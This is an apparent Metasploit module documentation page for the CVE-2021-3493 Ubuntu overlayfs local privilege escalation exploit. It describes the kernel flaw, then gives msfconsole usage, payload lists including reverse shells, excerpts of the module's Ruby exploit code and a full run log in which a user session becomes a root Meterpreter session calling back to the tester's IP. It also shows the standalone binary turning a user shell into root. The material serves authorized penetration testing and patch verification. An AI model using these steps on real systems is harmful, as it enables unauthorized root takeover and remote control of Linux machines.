2021 Ubuntu Overlayfs LPE - Metasploit


This page contains detailed information about how to use the exploit/linux/local/cve_2021_3493_overlayfs metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: 2021 Ubuntu Overlayfs LPE
Module: exploit/linux/local/cve_2021_3493_overlayfs
Source code: modules/exploits/linux/local/cve_2021_3493_overlayfs.rb
Disclosure date: 2021-04-12
Last modification time: 2021-12-02 10:31:47 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-3493

This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The vulnerability is the result of failing to verify the ability of a user to set the attributes in a running executable. Specifically, when Overlayfs sends the set attributes data to the underlying file system via vfs_setxattr, it fails to first verify the data by calling cap_convert_nscap. This vulnerability was patched by moving the call to cap_convert_nscap into the vfs_setxattr function that sets the attribute, forcing verification every time the vfs_setxattr is called rather than trusting the data was already verified.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/cve_2021_3493_overlayfs
msf exploit(cve_2021_3493_overlayfs) > show targets
    ... a list of targets ...
msf exploit(cve_2021_3493_overlayfs) > set TARGET target-id
msf exploit(cve_2021_3493_overlayfs) > show options
    ... show and set options ...
msf exploit(cve_2021_3493_overlayfs) > set SESSION session-id
msf exploit(cve_2021_3493_overlayfs) > exploit

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The vulnerability is the result of failing to verify the ability of a user to set the attributes in a running executable. Specifically, when Overlayfs sends the set attributes data to the underlying file system via vfs_setxattr, it fails to first verify the data by calling cap_convert_nscap. This vulnerability was patched by moving the call to cap_convert_nscap into the vfs_setxattr function that sets the attribute, forcing verification every time the vfs_setxattr is called rather than trusting the data was already verified.

Install

Install Ubuntu from version 14.04LTS to 20.04 LTS

Verification Steps


  1. Make an Ubuntu
  2. Create a meterpreter or shell payload and upload it to the Ubuntu target
  3. Set up a handler for the payload
  4. Launch the payload as a regular user on the Ubuntu Target and connect the handler
  5. Do: use exploit/linux/local/cve_2021_3943_overlayfs
  6. Do: set payload <payload>
  7. Do: set lhost <ip>
  8. Do: set [r|l]port <port>
  9. Do: run
  10. You should get a root session

Options


COMPILE

[Auto|True|False] This selects the binary to use. True will upload the source code and perform compilation on target, False will upload a precompiled binary. AUTO will favor compiling on target but will fall back to the precompiled option if a compiler cannot be found.

WritableDir

This indicates the location where you would like the payload and exploit binary stored, as well as serving as a location to store the various files and directories created by the exploit itself. The default value is /tmp

Ubuntu 20.04.0 x64

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > 
[*] Sending stage (3012548 bytes) to 192.168.132.138
[*] Meterpreter session 9 opened (192.168.135.197:4567 -> 192.168.132.138:47988 ) at 2021-11-09 11:34:44 -0600

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > sessions -i 9
[*] Starting interaction with 9...

meterpreter > sysinfo
Computer     : ubuntu-20.04.0
OS           : Ubuntu 20.04 (Linux 5.4.0-26-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > background
[*] Backgrounding session 9...
msf6 exploit(linux/local/cve_2021_3493_overlayfs) > set session 9
session => 9
msf6 exploit(linux/local/cve_2021_3493_overlayfs) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Version array: ["5.4.0", "26", "generic"]
[*] major_version: 5.4.0
[*] minor_version: 26
[+] The target appears to be vulnerable.
[*] Creating directory /tmp/.wH0xRHji
[*] /tmp/.wH0xRHji created
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.wH0xRHji/.PsJzzn' (17840 bytes) ...
[*] Writing '/tmp/.wH0xRHji/.Doeg4dSW1G' (250 bytes) ...
[*] Launching exploit...
[*] Running: /tmp/.wH0xRHji/.PsJzzn /tmp/.wH0xRHji/.Doeg4dSW1G /tmp/.wH0xRHji 6PFbO1d
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.132.138
[+] Deleted /tmp/.wH0xRHji/.PsJzzn
[*] Meterpreter session 10 opened (192.168.135.197:4444 -> 192.168.132.138:41814 ) at 2021-11-09 11:35:05 -0600
[*] 

meterpreter > getuid
Server username: root

Included Binaries

The binaries used by this exploit data/exploits/CVE-2021-3493/cve_2021_3493.x64.elf and data/exploits/CVE-2021-3493/cve_2021_3493.x64.elf can and be used separately from metasploit. The parameters required are: // argv[1] = The payload or executable you wish to launch // argv[2] = A directory to store the files and directories created when the exploit runs // argv[3] = A random string that is used to create directory names. msfuser@ubuntu-18041:~$ id uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare) msfuser@ubuntu-18041:~$ mkdir /tmp/test msfuser@ubuntu-18041:~$ ./cve_2021_3493.x64.elf /bin/bash /tmp/test abcdef root@ubuntu-18041:~# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(msfuser) root@ubuntu-18041:~#

Go back to menu.

Msfconsole Usage


Here is how the linux/local/cve_2021_3493_overlayfs exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/cve_2021_3493_overlayfs

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3493_overlayfs) > show info

       Name: 2021 Ubuntu Overlayfs LPE
     Module: exploit/linux/local/cve_2021_3493_overlayfs
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-04-12

Provided by:
  ssd-disclosure
  bwatters-r7

Module side effects:
 artifacts-on-disk

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   x86_64
  1   aarch64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
  SESSION                   yes       The session to run this module on

Payload information:

Description:
  This module exploits a vulnerability in Ubuntu's implementation of 
  overlayfs. The vulnerability is the result of failing to verify the 
  ability of a user to set the attributes in a running executable. 
  Specifically, when Overlayfs sends the set attributes data to the 
  underlying file system via `vfs_setxattr`, it fails to first verify 
  the data by calling `cap_convert_nscap`. This vulnerability was 
  patched by moving the call to `cap_convert_nscap` into the 
  `vfs_setxattr` function that sets the attribute, forcing 
  verification every time the `vfs_setxattr` is called rather than 
  trusting the data was already verified.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-3493
  https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/
  https://github.com/briskets/CVE-2021-3493

Module Options


This is a complete list of options available in the linux/local/cve_2021_3493_overlayfs exploit:

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > show options

Module options (exploit/linux/local/cve_2021_3493_overlayfs):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                   yes       The session to run this module on

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.170  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   x86_64

Advanced Options


Here is a complete list of advanced options supported by the linux/local/cve_2021_3493_overlayfs exploit:

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > show advanced

Module advanced options (exploit/linux/local/cve_2021_3493_overlayfs):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/cve_2021_3493_overlayfs module can exploit:

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   x86_64
   1   aarch64

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cve_2021_3493_overlayfs exploit:

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/cve_2021_3493_overlayfs exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/cve_2021_3493_overlayfs) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

System architecture <ARCH> is not supported


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:

76:	
77:	  def check
78:	    arch = kernel_hardware
79:	
80:	    unless arch.include?('x86_64') || arch.include?('aarch64')
81:	      return CheckCode::Safe("System architecture #{arch} is not supported")
82:	    end
83:	
84:	    release = kernel_release
85:	    version = kernel_version
86:	

Unprivileged user namespaces are not permitted


Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:

83:	
84:	    release = kernel_release
85:	    version = kernel_version
86:	
87:	    unless userns_enabled?
88:	      return CheckCode::Safe('Unprivileged user namespaces are not permitted')
89:	    end
90:	
91:	    vprint_good('Unprivileged user namespaces are permitted')
92:	
93:	    # If the target is Ubuntu...

Target is not Ubuntu!


Here is a relevant code snippet related to the "Target is not Ubuntu!" error message:

90:	
91:	    vprint_good('Unprivileged user namespaces are permitted')
92:	
93:	    # If the target is Ubuntu...
94:	    unless version =~ /[uU]buntu/
95:	      return CheckCode::Safe('Target is not Ubuntu!')
96:	    end
97:	
98:	    version_array = release.split('-')
99:	    if version_array.length < 2
100:	      fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')

The target Ubuntu server does not have the expected kernel version format!


Here is a relevant code snippet related to the "The target Ubuntu server does not have the expected kernel version format!" error message:

95:	      return CheckCode::Safe('Target is not Ubuntu!')
96:	    end
97:	
98:	    version_array = release.split('-')
99:	    if version_array.length < 2
100:	      fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
101:	    end
102:	    vprint_status("Version array: #{version_array}")
103:	    major_version = Rex::Version.new(version_array[0])
104:	    vprint_status("major_version: #{major_version}")
105:	    minor_version = version_array[1]

The target version <MAJOR_VERSION> is outside the vulnerable version range <LOWER_BOUND_VERSION>-<UPPER_BOUND_VERSION>


Here is a relevant code snippet related to the "The target version <MAJOR_VERSION> is outside the vulnerable version range <LOWER_BOUND_VERSION>-<UPPER_BOUND_VERSION>" error message:

105:	    minor_version = version_array[1]
106:	    vprint_status("minor_version: #{minor_version}")
107:	    lower_bound_version = Rex::Version.new(3.13)
108:	    upper_bound_version = Rex::Version.new(5.14)
109:	    if major_version > upper_bound_version || major_version < lower_bound_version
110:	      return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}")
111:	    end
112:	
113:	    return CheckCode::Appears
114:	  end
115:	

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

113:	    return CheckCode::Appears
114:	  end
115:	
116:	  def exploit
117:	    if is_root? && !datastore['ForceExploit']
118:	      fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
119:	    end
120:	    base_dir = datastore['WritableDir'].to_s
121:	    unless writable?(base_dir)
122:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
123:	    end

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

117:	    if is_root? && !datastore['ForceExploit']
118:	      fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
119:	    end
120:	    base_dir = datastore['WritableDir'].to_s
121:	    unless writable?(base_dir)
122:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
123:	    end
124:	
125:	    executable_name = ".#{rand_text_alphanumeric(5..10)}"
126:	    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
127:	    exploit_path = "#{exploit_dir}/#{executable_name}"

Exploit dir already exists


Here is a relevant code snippet related to the "Exploit dir already exists" error message:

124:	
125:	    executable_name = ".#{rand_text_alphanumeric(5..10)}"
126:	    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
127:	    exploit_path = "#{exploit_dir}/#{executable_name}"
128:	    if file_exist?(exploit_dir)
129:	      fail_with(Failure::BadConfig, 'Exploit dir already exists')
130:	    end
131:	    mkdir(exploit_dir)
132:	    register_dir_for_cleanup(exploit_dir)
133:	
134:	    # Upload exploit

Host/payload Mismatch; set target and select matching payload


Here is a relevant code snippet related to the "Host/payload Mismatch; set target and select matching payload" error message:

133:	
134:	    # Upload exploit
135:	    arch = kernel_hardware
136:	    vprint_status("Detected architecture: #{arch}")
137:	    if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
138:	      fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
139:	    end
140:	    if live_compile?
141:	      vprint_status('Live compiling exploit on system...')
142:	      upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c'))
143:	    else

Unknown architecture: '<ARCH>'


Here is a relevant code snippet related to the "Unknown architecture: '<ARCH>'" error message:

149:	      elsif arch.include?('aarch64')
150:	        precompiled_binary = 'cve_2021_3493.aarch64.elf'
151:	        vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
152:	        upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
153:	      else
154:	        fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'")
155:	      end
156:	
157:	    end
158:	    register_file_for_cleanup(exploit_path)
159:	

Caught timeout. Exploit may be taking longer or it may have failed.


Here is a relevant code snippet related to the "Caught timeout. Exploit may be taking longer or it may have failed." error message:

168:	    vprint_status("Running: #{cmd_string}")
169:	    begin
170:	      output = cmd_exec(cmd_string)
171:	      vprint_status(output)
172:	    rescue Error => e
173:	      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
174:	      print_error("Exploit failed: #{e}")
175:	    ensure
176:	      # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
177:	      cmd_exec("rm -rf '#{exploit_dir}'")
178:	    end

Exploit failed: <E>


Here is a relevant code snippet related to the "Exploit failed: <E>" error message:

169:	    begin
170:	      output = cmd_exec(cmd_string)
171:	      vprint_status(output)
172:	    rescue Error => e
173:	      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
174:	      print_error("Exploit failed: #{e}")
175:	    ensure
176:	      # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
177:	      cmd_exec("rm -rf '#{exploit_dir}'")
178:	    end
179:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • ssd-disclosure
  • bwatters-r7

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.